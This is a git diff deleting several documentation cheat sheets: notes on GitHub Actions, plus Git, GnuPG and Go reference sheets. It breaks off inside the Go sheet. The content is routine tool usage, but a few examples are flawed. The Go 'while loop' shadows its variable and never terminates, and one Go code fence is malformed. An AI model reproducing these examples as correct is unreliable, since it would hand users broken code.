-```yaml
-env: # Can't do this
-    - name: Set build environment to production if master branch is checked out
-      if: contains(github.ref, 'master')
-      run: echo "BUILD_ENV=production" >> $GITHUB_ENV
-    - name: Set build environment to development if develop branch is checked out
-      if: contains(github.ref, 'develop')
-      run: echo "BUILD_ENV=development" >> $GITHUB_ENV
-    - name: Set build environment to test otherwise
-      if: ${{ !contains(github.ref, 'master') || !contains(github.ref, 'develop') }}
-      run: echo "BUILD_ENV=test" >> $GITHUB_ENV
-```
-
-Furthermore, environment variables set to `$GITHUB_ENV` within a job are scoped to that job.
-
-The solution is to [use outputs instead of environment variables](https://github.community/t/16277). Set outputs from one job and read them in downstream jobs. Note that _step_ outputs must also be set as _job_ outputs in order to be passed to other workflows.
-
-### PR merge conflicts blocking workflow runs
-
--   If a PR has merge conflicts, GitHub Actions workflows may not run at all. See [this GitHub community thread](https://github.community/t/run-actions-on-pull-requests-with-merge-conflicts/17104/13).
--   Try using [equality operators](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#operators) (`==` and `!=`) to check out the PR `HEAD` commit, instead of the default (the merge commit), as described in the [actions/checkout README](https://github.com/actions/checkout):
-
-    ```yml
-    - uses: actions/checkout@v2
-      if: ${{ github.event_name != 'pull_request' }}
-    - uses: actions/checkout@v2
-      if: ${{ github.event_name == 'pull_request' }}
-      with:
-          ref: ${{ github.event.pull_request.head.sha }}
-    ```
-
--   If checking out the `HEAD` commit doesn't work, you may need to resolve merge conflicts to continue.
-
-### Understanding context and expression syntax
-
--   See the [context and expression syntax docs](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions)
--   In which context can I use which things?
-    -   _Where can I define `env:`?_
-    -   _Where can I define `defaults:`?_
-    -   _Where can I add `if:`?_
-    -   _When do I need `${{ }}` for expressions?_ The [docs](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions) explain that `if:` conditionals are automatically evaluated as expressions, but it's not always clear in other fields.
--   [Object filters](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#object-filters) seem like a useful corollary to [CloudFormation mappings](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/mappings-section-structure.html), but there's no explanation for how to set up object filters within workflows.
--   There's no concept of `if/elif/else`.
--   Syntactic subtleties, such as the requirement for single quotes in some YAML fields:
-
-    ```yaml
-    jobs:
-        base:
-            runs-on: ubuntu-latest
-            steps:
-                # this works
-                - name: Set build environment to production
-                  if: github.ref == 'refs/heads/master'
-                  run: echo "BUILD_ENV=production" >> $GITHUB_ENV
-                # this doesn't
-                - name: Set build environment to production
-                  if: github.ref == "refs/heads/master"
-                  run: echo "BUILD_ENV=production" >> $GITHUB_ENV
-    ```
-
--   `github.ref` vs `github.base_ref`: Confusingly, `github.base_ref` appears to output different syntax than `github.ref`.
-    -   `github.base_ref` returns just the branch name, like `develop`.
-    -   `github.ref` returns the full Git ref, like `refs/heads/develop`.
-
-## Resources
-
--   **Overview**
-    -   [GitHub Actions Cheat Sheet](https://resources.github.com/whitepapers/GitHub-Actions-Cheat-sheet/)
-    -   [GitHub docs: Actions - Core concepts](https://docs.github.com/en/actions/getting-started-with-github-actions/core-concepts-for-github-actions)
-    -   [GitHub docs: Actions - Configuring and managing workflows](https://docs.github.com/en/actions/configuring-and-managing-workflows)
--   **Workflow triggers** (the `on:` section of YAML workflow files):
-    -   [GitHub docs: Actions - Events that trigger workflows](https://docs.github.com/en/actions/reference/events-that-trigger-workflows)
-    -   [GitHub Blog 20200706: GitHub Actions - Manual triggers with `workflow_dispatch`](https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/)
--   **Workflow syntax**
-    -   [GitHub docs: Actions - Workflow syntax reference](https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions)
-    -   [GitHub docs: Actions - Context and expression syntax](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions) (syntax in double curly braces like `${{ github.repository }}`, and functions like `format()`)
-    -   [GitHub docs: Actions - Workflow commands for GitHub Actions](https://docs.github.com/en/actions/reference/workflow-commands-for-github-actions) (shell commands you can perform within workflows, like `echo ::set-env name=COLOR::green`)
--   **GitHub Actions + GitHub Container Registry**
-    -   [GitHub Blog 20200901: Introducing GitHub Container Registry](https://github.blog/2020-09-01-introducing-github-container-registry/)
-    -   [GitHub docs: Getting started with GitHub Container Registry](https://docs.github.com/en/packages/getting-started-with-github-container-registry)
--   **Actions**
-    -   [GitHub Actions Marketplace](https://github.com/marketplace?type=actions)
-    -   [actions/runner](https://github.com/actions/runner): the runner for GitHub Actions
-    -   [sdras/awesome-actions](https://github.com/sdras/awesome-actions)
-
-## GitHub Gist notes <!-- omit in toc -->
-
--   A **Gist** is actually a repository.
--   To clone the Gist locally:
-    ```sh
-    git clone git@gist.github.com:f9c753eb27381f97336aa21b8d932be6.git github-actions
-    ```
--   **No subdirectories are allowed.**
--   To add images to a Markdown file in a Gist:
-    -   Commit the image file (in the same directory, no sub-directories)
-    -   Push the change to GitHub with `git push`
-    -   Click on the "raw" button next to the image
-    -   Copy the URL
-    -   Add the URL to an image tag in the Markdown file.
diff --git a/docs/content/cheat-sheets/github-cheat-sheet.md b/docs/content/cheat-sheets/github-cheat-sheet.md
deleted file mode 100644
index 43632259a4..0000000000
--- a/docs/content/cheat-sheets/github-cheat-sheet.md
+++ /dev/null
@@ -1,544 +0,0 @@
----
-cover: ../../.gitbook/assets/git-banner.png
-coverY: 0
----
-
-# Github Cheat Sheet
-
-Git is a distributed version control and source code management system.
-
-It does this through a series of snapshots of your project, and it works with those snapshots to provide you with functionality to version and manage your source code.
-
-### Versioning Concepts
-
-#### What is version control?
-
-Version control is a system that records changes to a file(s), over time.
-
-#### Centralized Versioning vs. Distributed Versioning
-
--   Centralized version control focuses on synchronizing, tracking, and backing up files.
--   Distributed version control focuses on sharing changes. Every change has a unique id.
--   Distributed systems have no defined structure. You could easily have a SVN style, centralized system, with git.
-
-[Additional Information](http://git-scm.com/book/en/Getting-Started-About-Version-Control)
-
-#### Why Use Git?
-
--   Can work offline.
--   Collaborating with others is easy!
--   Branching is easy!
--   Branching is fast!
--   Merging is easy!
--   Git is fast.
--   Git is flexible.
-
-### Git Architecture
-
-#### Repository
-
-A set of files, directories, historical records, commits, and heads. Imagine it as a source code data structure, with the attribute that each source code "element" gives you access to its revision history, among other things.
-
-A git repository is comprised of the .git directory & working tree.
-
-#### .git Directory (component of repository)
-
-The .git directory contains all the configurations, logs, branches, HEAD, and more. [Detailed List.](http://gitready.com/advanced/2009/03/23/whats-inside-your-git-directory.html)
-
-#### Working Tree (component of repository)
-
-This is basically the directories and files in your repository. It is often referred to as your working directory.
-
-#### Index (component of .git dir)
-
-The Index is the staging area in git. It's basically a layer that separates your working tree from the Git repository. This gives developers more power over what gets sent to the Git repository.
-
-#### Commit
-
-A git commit is a snapshot of a set of changes, or manipulations to your Working Tree. For example, if you added 5 files, and removed 2 others, these changes will be contained in a commit (or snapshot). This commit can then be pushed to other repositories, or not!
-
-#### Branch
-
-A branch is essentially a pointer to the last commit you made. As you go on committing, this pointer will automatically update to point to the latest commit.
-
-#### Tag
-
-A tag is a mark on specific point in history. Typically people use this functionality to mark release points (v1.0, and so on).
-
-#### HEAD and head (component of .git dir)
-
-HEAD is a pointer that points to the current branch. A repository only has 1 _active_ HEAD. head is a pointer that points to any commit. A repository can have any number of heads.
-
-#### Stages of Git
-
--   Modified - Changes have been made to a file but file has not been committed to Git Database yet
--   Staged - Marks a modified file to go into your next commit snapshot
--   Committed - Files have been committed to the Git Database
-
-#### Conceptual Resources
-
--   [Git For Computer Scientists](http://eagain.net/articles/git-for-computer-scientists/)
--   [Git For Designers](http://hoth.entp.com/output/git_for_designers.html)
-
-### Commands
-
-#### init
-
-Create an empty Git repository. The Git repository's settings, stored information, and more is stored in a directory (a folder) named ".git".
-
-```bash
-$ git init
-```
-
-#### config
-
-To configure settings. Whether it be for the repository, the system itself, or global configurations ( global config file is `~/.gitconfig` ).
-
-```bash
-# Print & Set Some Basic Config Variables (Global)
-$ git config --global user.email "MyEmail@Zoho.com"
-$ git config --global user.name "My Name"
-```
-
-[Learn More About git config.](http://git-scm.com/docs/git-config)
-
-#### help
-
-To give you quick access to an extremely detailed guide of each command. Or to just give you a quick reminder of some semantics.
-
-```bash
-# Quickly check available commands
-$ git help
-
-# Check all available commands
-$ git help -a
-
-# Command specific help - user manual
-# git help <command_here>
-$ git help add
-$ git help commit
-$ git help init
-# or git <command_here> --help
-$ git add --help
-$ git commit --help
-$ git init --help
-```
-
-#### ignore files
-
-To intentionally untrack file(s) & folder(s) from git. Typically meant for private & temp files which would otherwise be shared in the repository.
-
-```bash
-$ echo "temp/" >> .gitignore
-$ echo "private_key" >> .gitignore
-```
-
-#### status
-
-To show differences between the index file (basically your working copy/repo) and the current HEAD commit.
-
-```bash
-# Will display the branch, untracked files, changes and other differences
-$ git status
-
-# To learn other "tid bits" about git status
-$ git help status
-```
-
-#### add
-
-To add files to the staging area/index. If you do not `git add` new files to the staging area/index, they will not be included in commits!
-
-```bash
-# add a file in your current working directory
-$ git add HelloWorld.java
-
-# add a file in a nested dir
-$ git add /path/to/file/HelloWorld.c
-
-# Regular Expression support!
-$ git add ./*.java
-
-# You can also add everything in your working directory to the staging area.
-$ git add -A
-```
-
-This only adds a file to the staging area/index, it doesn't commit it to the working directory/repo.
-
-#### branch
-
-Manage your branches. You can view, edit, create, delete branches using this command.
-
-```bash
-# list existing branches & remotes
-$ git branch -a
-
-# create a new branch
-$ git branch myNewBranch
-
-# delete a branch
-$ git branch -d myBranch
-
-# rename a branch
-# git branch -m <oldname> <newname>
-$ git branch -m myBranchName myNewBranchName
-
-# edit a branch's description
-$ git branch myBranchName --edit-description
-```
-
-#### tag
-
-Manage your tags
-
-```bash
-# List tags
-$ git tag
-
-# Create a annotated tag
-# The -m specifies a tagging message, which is stored with the tag.
-# If you don't specify a message for an annotated tag,
-# Git launches your editor so you can type it in.
-$ git tag -a v2.0 -m 'my version 2.0'
-
-# Show info about tag
-# That shows the tagger information, the date the commit was tagged,
-# and the annotation message before showing the commit information.
-$ git show v2.0
-
-# Push a single tag to remote
-$ git push origin v2.0
-
-# Push a lot of tags to remote
-$ git push origin --tags
-```
-
-#### checkout
-
-Updates all files in the working tree to match the version in the index, or specified tree.
-
-```bash
-# Checkout a repo - defaults to master branch
-$ git checkout
-
-# Checkout a specified branch
-$ git checkout branchName
-
-# Create a new branch & switch to it
-# equivalent to "git branch <name>; git checkout <name>"
-
-$ git checkout -b newBranch
-```
-
-#### clone
-
-Clones, or copies, an existing repository into a new directory. It also adds remote-tracking branches for each branch in the cloned repo, which allows you to push to a remote branch.
-
-```bash
-# Clone learnxinyminutes-docs
-$ git clone https://github.com/adambard/learnxinyminutes-docs.git
-
-# shallow clone - faster cloning that pulls only latest snapshot
-$ git clone --depth 1 https://github.com/adambard/learnxinyminutes-docs.git
-
-# clone only a specific branch
-$ git clone -b master-cn https://github.com/adambard/learnxinyminutes-docs.git --single-branch
-```
-
-#### commit
-
-Stores the current contents of the index in a new "commit." This commit contains the changes made and a message created by the user.
-
-```bash
-# commit with a message
-$ git commit -m "Added multiplyNumbers() function to HelloWorld.c"
-
-# signed commit with a message (user.signingkey must have been set
-# with your GPG key e.g. git config --global user.signingkey 5173AAD5)
-$ git commit -S -m "signed commit message"
-
-# automatically stage modified or deleted files, except new files, and then commit
-$ git commit -a -m "Modified foo.php and removed bar.php"
-
-# change last commit (this deletes previous commit with a fresh commit)
-$ git commit --amend -m "Correct message"
-```
-
-#### diff
-
-Shows differences between a file in the working directory, index and commits.
-
-```bash
-# Show difference between your working dir and the index
-$ git diff
-
-# Show differences between the index and the most recent commit.
-$ git diff --cached
-
-# Show differences between your working dir and the most recent commit
-$ git diff HEAD
-```
-
-#### grep
-
-Allows you to quickly search a repository.
-
-Optional Configurations:
-
-```bash
-# Thanks to Travis Jeffery for these
-# Set line numbers to be shown in grep search results
-$ git config --global grep.lineNumber true
-
-# Make search results more readable, including grouping
-$ git config --global alias.g "grep --break --heading --line-number"
-```
-
-```bash
-# Search for "variableName" in all java files
-$ git grep 'variableName' -- '*.java'
-
-# Search for a line that contains "arrayListName" and, "add" or "remove"
-$ git grep -e 'arrayListName' --and \( -e add -e remove \)
-```
-
-Google is your friend; for more examples [Git Grep Ninja](http://travisjeffery.com/b/2012/02/search-a-git-repo-like-a-ninja)
-
-#### log
-
-Display commits to the repository.
-
-```bash
-# Show all commits
-$ git log
-
-# Show only commit message & ref
-$ git log --oneline
-
-# Show merge commits only
-$ git log --merges
-
-# Show all commits represented by an ASCII graph
-$ git log --graph
-```
-
-#### merge
-
-"Merge" in changes from external commits into the current branch.
-
-```bash
-# Merge the specified branch into the current.
-$ git merge branchName
-
-# Always generate a merge commit when merging
-$ git merge --no-ff branchName
-```
-
-#### mv
-
-Rename or move a file
-
-```bash
-# Renaming a file
-$ git mv HelloWorld.c HelloNewWorld.c
-
-# Moving a file
-$ git mv HelloWorld.c ./new/path/HelloWorld.c
-
-# Force rename or move
-# "existingFile" already exists in the directory, will be overwritten
-$ git mv -f myFile existingFile
-```
-
-#### pull
-
-Pulls from a repository and merges it with another branch.
-
-```bash
-# Update your local repo, by merging in new changes
-# from the remote "origin" and "master" branch.
-# git pull <remote> <branch>
-$ git pull origin master
-
-# By default, git pull will update your current branch
-# by merging in new changes from its remote-tracking branch
-$ git pull
-
-# Merge in changes from remote branch and rebase
-# branch commits onto your local repo, like: "git fetch <remote> <branch>, git
-# rebase <remote>/<branch>"
-$ git pull origin master --rebase
-```
-
-#### push
-
-Push and merge changes from a branch to a remote & branch.
-
-```bash
-# Push and merge changes from a local repo to a
-# remote named "origin" and "master" branch.
-# git push <remote> <branch>
-$ git push origin master
-
-# By default, git push will push and merge changes from
-# the current branch to its remote-tracking branch
-$ git push
-
-# To link up current local branch with a remote branch, add -u flag:
-$ git push -u origin master
-# Now, anytime you want to push from that same local branch, use shortcut:
-$ git push
-```
-
-#### stash
-
-Stashing takes the dirty state of your working directory and saves it on a stack of unfinished changes that you can reapply at any time.
-
-Let's say you've been doing some work in your git repo, but you want to pull from the remote. Since you have dirty (uncommitted) changes to some files, you are not able to run `git pull`. Instead, you can run `git stash` to save your changes onto a stack!
-
-```bash
-$ git stash
-Saved working directory and index state \
-  "WIP on master: 049d078 added the index file"
-  HEAD is now at 049d078 added the index file
-  (To restore them type "git stash apply")
-```
-
-Now you can pull!
-
-```bash
-git pull
-```
-
-`...changes apply...`
-
-Now check that everything is OK
-
-```bash
-$ git status
-# On branch master
-nothing to commit, working directory clean
-```
-
-You can see what "hunks" you've stashed so far using `git stash list`. Since the "hunks" are stored in a Last-In-First-Out stack, our most recent change will be at top.
-
-```bash
-$ git stash list
-stash@{0}: WIP on master: 049d078 added the index file
-stash@{1}: WIP on master: c264051 Revert "added file_size"
-stash@{2}: WIP on master: 21d80a5 added number to log
-```
-
-Now let's apply our dirty changes back by popping them off the stack.
-
-```bash
-$ git stash pop
-# On branch master
-# Changes not staged for commit:
-#   (use "git add <file>..." to update what will be committed)
-#
-#      modified:   index.html
-#      modified:   lib/simplegit.rb
-#
-```
-
-`git stash apply` does the same thing
-
-Now you're ready to get back to work on your stuff!
-
-[Additional Reading.](http://git-scm.com/book/en/v1/Git-Tools-Stashing)
-
-#### rebase (caution)
-
-Take all changes that were committed on one branch, and replay them onto another branch. _Do not rebase commits that you have pushed to a public repo_.
-
-```bash
-# Rebase experimentBranch onto master
-# git rebase <basebranch> <topicbranch>
-$ git rebase master experimentBranch
-```
-
-[Additional Reading.](http://git-scm.com/book/en/Git-Branching-Rebasing)
-
-#### reset (caution)
-
-Reset the current HEAD to the specified state. This allows you to undo merges, pulls, commits, adds, and more. It's a great command but also dangerous if you don't know what you are doing.
-
-```bash
-# Reset the staging area, to match the latest commit (leaves dir unchanged)
-$ git reset
-
-# Reset the staging area, to match the latest commit, and overwrite working dir
-$ git reset --hard
-
-# Moves the current branch tip to the specified commit (leaves dir unchanged)
-# all changes still exist in the directory.
-$ git reset 31f2bb1
-
-# Moves the current branch tip backward to the specified commit
-# and makes the working dir match (deletes uncommitted changes and all commits
-# after the specified commit).
-$ git reset --hard 31f2bb1
-```
-
-#### reflog (caution)
-
-Reflog will list most of the git commands you have done for a given time period, default 90 days.
-
-This give you the chance to reverse any git commands that have gone wrong (for instance, if a rebase has broken your application).
-
-You can do this:
-
-1. `git reflog` to list all of the git commands for the rebase
-
-```
-38b323f HEAD@{0}: rebase -i (finish): returning to refs/heads/feature/add_git_reflog
-38b323f HEAD@{1}: rebase -i (pick): Clarify inc/dec operators
-4fff859 HEAD@{2}: rebase -i (pick): Update java.html.markdown
-34ed963 HEAD@{3}: rebase -i (pick): [yaml/en] Add more resources (#1666)
-ed8ddf2 HEAD@{4}: rebase -i (pick): pythonstatcomp spanish translation (#1748)
-2e6c386 HEAD@{5}: rebase -i (start): checkout 02fb96d
-```
-
-1. Select where to reset to, in our case its `2e6c386`, or `HEAD@{5}`
-2. 'git reset --hard HEAD@{5}' this will reset your repo to that head
-3. You can start the rebase again or leave it alone.
-
-[Additional Reading.](https://git-scm.com/docs/git-reflog)
-
-#### revert
-
-Revert can be used to undo a commit. It should not be confused with reset which restores the state of a project to a previous point. Revert will add a new commit which is the inverse of the specified commit, thus reverting it.
-
-```bash
-# Revert a specified commit
-$ git revert <commit>
-```
-
-#### rm
-
-The opposite of git add, git rm removes files from the current working tree.
-
-```bash
-# remove HelloWorld.c
-$ git rm HelloWorld.c
-
-# Remove a file from a nested dir
-$ git rm /pather/to/the/file/HelloWorld.c
-```
-
-### Further Information
-
--   [tryGit - A fun interactive way to learn Git.](http://try.github.io/levels/1/challenges/1)
--   [Learn Git Branching - the most visual and interactive way to learn Git on the web](http://learngitbranching.js.org)
--   [Udemy Git Tutorial: A Comprehensive Guide](https://blog.udemy.com/git-tutorial-a-comprehensive-guide/)
--   [Git Immersion - A Guided tour that walks through the fundamentals of git](http://gitimmersion.com)
--   [git-scm - Video Tutorials](http://git-scm.com/videos)
--   [git-scm - Documentation](http://git-scm.com/docs)
--   [Atlassian Git - Tutorials & Workflows](https://www.atlassian.com/git/)
--   [SalesForce Cheat Sheet](http://res.cloudinary.com/hy4kyit2a/image/upload/SF_git_cheatsheet.pdf)
--   [GitGuys](http://www.gitguys.com)
--   [Git - the simple guide](http://rogerdudler.github.io/git-guide/index.html)
--   [Pro Git](http://www.git-scm.com/book/en/v2)
--   [An introduction to Git and GitHub for Beginners (Tutorial)](http://product.hubspot.com/blog/git-and-github-tutorial-for-beginners)
--   [The New Boston tutorial to Git covering basic commands and workflow](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGAKWClAD_iKpNC0bGHxGhcx)
diff --git a/docs/content/cheat-sheets/gnupg.md b/docs/content/cheat-sheets/gnupg.md
deleted file mode 100644
index 2b0a5a9138..0000000000
--- a/docs/content/cheat-sheets/gnupg.md
+++ /dev/null
@@ -1,265 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: GnuPG
-category: CLI
-
-tags: []
-weight: 0
-intro: |
-[GnuPG](https://gnupg.org/) is a complete and free implementation of the OpenPGP standard.
-
----
-
-## Basics
-
-### Exporting keys
-
-```bash
-gpg -o key.gpg --export <KEY ID>
-```
-
-**Export key in ASCII:**
-
-```bash
-gpg -o key.asc --armor --export <KEY ID>
-```
-
-**Note:** Omitting the `-o|--output` option will print the key to `stdout`.
-
-### Importing keys
-
-```bash
-gpg --import key.gpg
-gpg --import key.asc
-```
-
-Only merge updates for keys already in key-ring:
-
-```bash
-gpg --import key.asc --merge-options merge-only
-```
-
-### Managing your keyring
-
-Generate a new key:
-{: .-setup}
-
-```bash
-gpg --gen-key
-# or, generate a new key with dialogs for all options
-gpg --full-gen-key
-```
-
-List public keys:
-
-```bash
-gpg -k
-gpg --list-keys
-```
-
-List secret keys:
-
-```bash
-gpg -K
-gpg --list-secret-keys
-```
-
-### Using a keyserver
-
-Import keys from keyserver:
-{: .-setup}
-
-```bash
-gpg --receive-keys <KEY IDS>
-```
-
-Upload keys to keyserver:
-
-```bash
-gpg --send-keys <KEY IDS>
-```
-
-Request updates from keyserver for keys already in your keyring:
-
-```bash
-gpg --refresh-keys
-```
-
-Search keys from keyserver:
-
-```bash
-gpg --search-keys "<SEARCH STRING>"
-```
-
-Override keyserver from `~/.gnupg/gpg.conf`
-
-```bash
-gpg --keyserver <URL> ...
-```
-
-### Trusting a key
-
-```bash
-gpg --edit-key <KEY ID>
-# In the interactive prompt:
-gpg> sign
-gpg> save
-```
-
-**NOTE:** You can use the owner's email or name (or part thereof) instead of the key ID for `--edit-key`
-
-## Encrypting
-
-{: .-two-column}
-
-### Public key encryption
-
-This will produce an encrypted file, `secret.txt.gpg`, that can only be decrypted by the recipient:
-
-```bash
-gpg -e -o secret.txt.gpg -r <RECIPIENT> secret.txt
-```
-
-For `<RECIPIENT>` you can use their key ID, their email, or their name (or part thereof).
-
-```bash
-gpg -e -r <KEY ID> ...
-gpg -e -r "Bez" ...
-gpg -e -r "bezalelhermoso@gmail.com" ...
-```
-
-Specifying multiple recipients
-
-```bash
-gpg -e -r <RECIPIENT> -r <ANOTHER RECIPIENT> ... secret.txt
-```
-
-**NOTE**: Omitting `-o|--output` will produce an encrypted file named `<ORIGINAL FILENAME>.gpg` by default.
-
-### Symmetric encryption
-
-Encrypt file using a shared key. You will be prompted for a passphrase.
-
-```bash
-gpg --symmetric secret.txt
-# or
-gpg -c secret.txt
-```
-
-## Decrypting
-
-{: .-one-column}
-
-### Decrypting a file
-
-```bash
-gpg -d -o secret.txt secret.txt.gpg
-```
-
-If the file is encrypted via symmetric encryption, you will be prompted for the passphrase.
-
-**NOTE**: Omitting `-o|--output` will print the unencrypted contents to `stdout`
-
-## Signing & Verifying
-
-{: .-two-column}
-
-### Signing
-
-```bash
-gpg -o signed-file.txt.gpg -s file.txt
-```
-
-This can be used during encryption to also sign encrypted files:
-
-```bash
-gpg -s -o secret.txt.gpg \
-  -r <RECIPIENT> secret.txt
-```
-
-### Verifying a signature
-
-```bash
-gpg --verify file.txt.gpg
-```
-
-### Viewing content of signed file
-
-```bash
-gpg -d signed-file.txt.gpg
-```
-
-## Miscellaneous
-
-{: .-two-column}
-
-### Components
-
-List all components:
-{: .-setup}
-
-```bash
-gpgconf --list-components
-```
-
-Kill a component:
-
-```bash
-gpgconf --kill <COMPONENT> # i.e. gpgconf --kill dirmngr
-```
-
-Kill all components:
-
-```bash
-gpgconf --kill all
-```
-
-### Parsing keyring data
-
-Use `--with-colons` to produce an output that can easily be parsed i.e. with `awk`, `grep`. Fields are colon-separated.
-
-```bash
-gpg -k --with-colons
-```
-
-Field Quick Reference:
-
-| Field # | Description |
-| 1 | Record type |
-| 2 | Validity |
-| 3 | Key length in bits |
-| 4 | Public key algorithm |
-| 5 | Key ID |
-| 6 | Creation date |
-| 7 | Expiry date |
-| 8 | Certificate S/N, UID hash, trust signature info |
-| 9 | Ownertrust |
-| 10 | User ID |
-| 11 | Signature class |
-| 12 | Key capabilities |
-| 13 | Issuer fingerprint |
-| 14 | Flag field |
-| 15 | S/N of token |
-| 16 | Hash algorithm |
-| 17 | Curve name |
-| 18 | Compliance flags |
-| 19 | Last update timestamp |
-| 20 | Origin |
-
-See [GnuPG Details](https://git.gnupg.org/cgi-bin/gitweb.cgi?p=gnupg.git;a=blob_plain;f=doc/DETAILS) for more details.
diff --git a/docs/content/cheat-sheets/go.md b/docs/content/cheat-sheets/go.md
deleted file mode 100644
index a6adb1fe97..0000000000
--- a/docs/content/cheat-sheets/go.md
+++ /dev/null
@@ -1,682 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Go
-
-prism_languages: [go, bash]
-weight: -3
-tags: [Featured]
-category: C-like
-
----
-
-## Getting started
-
-### Introduction
-
-{: .-intro}
-
--   [A tour of Go](https://tour.golang.org/welcome/1) _(tour.golang.org)_
--   [Go repl](https://repl.it/languages/go) _(repl.it)_
--   [Golang wiki](https://github.com/golang/go/wiki/) _(github.com)_
-
-### Hello world
-
-#### hello.go
-
-{: .-file}
-
-```go
-package main
-
-import "fmt"
-
-func main() {
-  message := greetMe("world")
-  fmt.Println(message)
-}
-
-func greetMe(name string) string {
-  return "Hello, " + name + "!"
-}
-```
-
-```bash
-$ go build
-```
-
-Or try it out in the [Go repl](https://repl.it/languages/go), or [A Tour of Go](https://tour.golang.org/welcome/1).
-
-### Variables
-
-#### Variable declaration
-
-```go
-var msg string
-msg = "Hello"
-```
-
-#### Shortcut of above (Infers type)
-
-```go
-msg := "Hello"
-```
-
-### Constants
-
-````go
-const Phi = 1.618
-```js
-
-constants can be character, string, boolean, or numeric values.
-
-See: [Constants](https://tour.golang.org/basics/15)
-
-## Basic types
-
-### Strings
-
-```go
-str := "Hello"
-````
-
-```go
-str := `Multiline
-string`
-```
-
-Strings are of type `string`.
-
-### Numbers
-
-#### Typical types
-
-```go
-num := 3          // int
-num := 3.         // float64
-num := 3 + 4i     // complex128
-num := byte('a')  // byte (alias for uint8)
-```
-
-#### Other types
-
-```go
-var u uint = 7        // uint (unsigned)
-var p float32 = 22.7  // 32-bit float
-```
-
-### Arrays
-
-```go
-// var numbers [5]int
-numbers := [...]int{0, 0, 0, 0, 0}
-```
-
-Arrays have a fixed size.
-
-### Slices
-
-```go
-slice := []int{2, 3, 4}
-```
-
-```go
-slice := []byte("Hello")
-```
-
-Slices have a dynamic size, unlike arrays.
-
-### Pointers
-
-```go
-func main () {
-  b := *getPointer()
-  fmt.Println("Value is", b)
-}
-```
-
-{: data-line="2"}
-
-```go
-func getPointer () (myPointer *int) {
-  a := 234
-  return &a
-}
-```
-
-```go
-a := new(int)
-*a = 234
-```
-
-{: data-line="2"}
-
-Pointers point to a memory location of a variable. Go is fully garbage-collected.
-
-See: [Pointers](https://tour.golang.org/moretypes/1)
-
-### Type conversions
-
-```go
-i := 2
-f := float64(i)
-u := uint(i)
-```
-
-See: [Type conversions](https://tour.golang.org/basics/13)
-
-## Flow control
-
-### Conditional
-
-```go
-if day == "sunday" || day == "saturday" {
-  rest()
-} else if day == "monday" && isTired() {
-  groan()
-} else {
-  work()
-}
-```
-
-{: data-line="1,3,5"}
-
-See: [If](https://tour.golang.org/flowcontrol/5)
-
-### Statements in if
-
-```go
-if _, err := doThing(); err != nil {
-  fmt.Println("Uh oh")
-}
-```
-
-{: data-line="1"}
-
-A condition in an `if` statement can be preceded with a statement before a `;`. Variables declared by the statement are only in scope until the end of the `if`.
-
-See: [If with a short statement](https://tour.golang.org/flowcontrol/6)
-
-### Switch
-
-```go
-switch day {
-  case "sunday":
-    // cases don't "fall through" by default!
-    fallthrough
-
-  case "saturday":
-    rest()
-
-  default:
-    work()
-}
-```
-
-See: [Switch](https://github.com/golang/go/wiki/Switch)
-
-### For loop
-
-```go
-for count := 0; count <= 10; count++ {
-  fmt.Println("My counter is at", count)
-}
-```
-
-See: [For loops](https://tour.golang.org/flowcontrol/1)
-
-### For-Range loop
-
-```go
-entry := []string{"Jack","John","Jones"}
-for i, val := range entry {
-  fmt.Printf("At position %d, the character %s is present\n", i, val)
-}
-```
-
-See: [For-Range loops](https://gobyexample.com/range)
-
-### While loop
-
-```go
-n := 0
-x := 42
-for n != x {
-  n := guess()
-}
-```
-
-See: [Go's "while"](https://tour.golang.org/flowcontrol/3)
-
-## Functions
-
-### Lambdas
-
-```go
-myfunc := func() bool {
-  return x > 10000
-}
-```
-
-{: data-line="1"}
-
-Functions are first class objects.
-
-### Multiple return types
-
-```go
-a, b := getMessage()
-```
-
-```go
-func getMessage() (a string, b string) {
-  return "Hello", "World"
-}
-```
-
-{: data-line="2"}
-
-### Named return values
-
-```go
-func split(sum int) (x, y int) {
-  x = sum * 4 / 9
-  y = sum - x
-  return
-}
-```
-
-{: data-line="4"}
-
-By defining the return value names in the signature, a `return` (no args) will return variables with those names.
-
-See: [Named return values](https://tour.golang.org/basics/7)
-
-## Packages
-
-### Importing
-
-```go
-import "fmt"
-import "math/rand"
-```
-
-```go
-import (
-  "fmt"        // gives fmt.Println
-  "math/rand"  // gives rand.Intn
-)
-```
-
-Both are the same.
-
-See: [Importing](https://tour.golang.org/basics/1)
-
-### Aliases
-
-```go
-import r "math/rand"
-```
-
-{: data-line="1"}
-
-```go
-r.Intn()
-```
-
-### Exporting names
-
-```go
-func Hello () {
-  ···
-}
-```
-
-Exported names begin with capital letters.
-
-See: [Exported names](https://tour.golang.org/basics/3)
-
-### Packages
-
-```go
-package hello
-```
-
-Every package file has to start with `package`.
-
-## Concurrency
-
-### Goroutines
-
-```go
-func main() {
-  // A "channel"
-  ch := make(chan string)
-
-  // Start concurrent routines
-  go push("Moe", ch)
-  go push("Larry", ch)
-  go push("Curly", ch)
-
-  // Read 3 results
-  // (Since our goroutines are concurrent,
-  // the order isn't guaranteed!)
-  fmt.Println(<-ch, <-ch, <-ch)
-}
-```
-
-{: data-line="3,6,7,8,13"}
-
-```go
-func push(name string, ch chan string) {
-  msg := "Hey, " + name
-  ch <- msg
-}
-```
-
-Channels are concurrency-safe communication objects, used in goroutines.
-
-See: [Goroutines](https://tour.golang.org/concurrency/1), [Channels](https://tour.golang.org/concurrency/2)
-
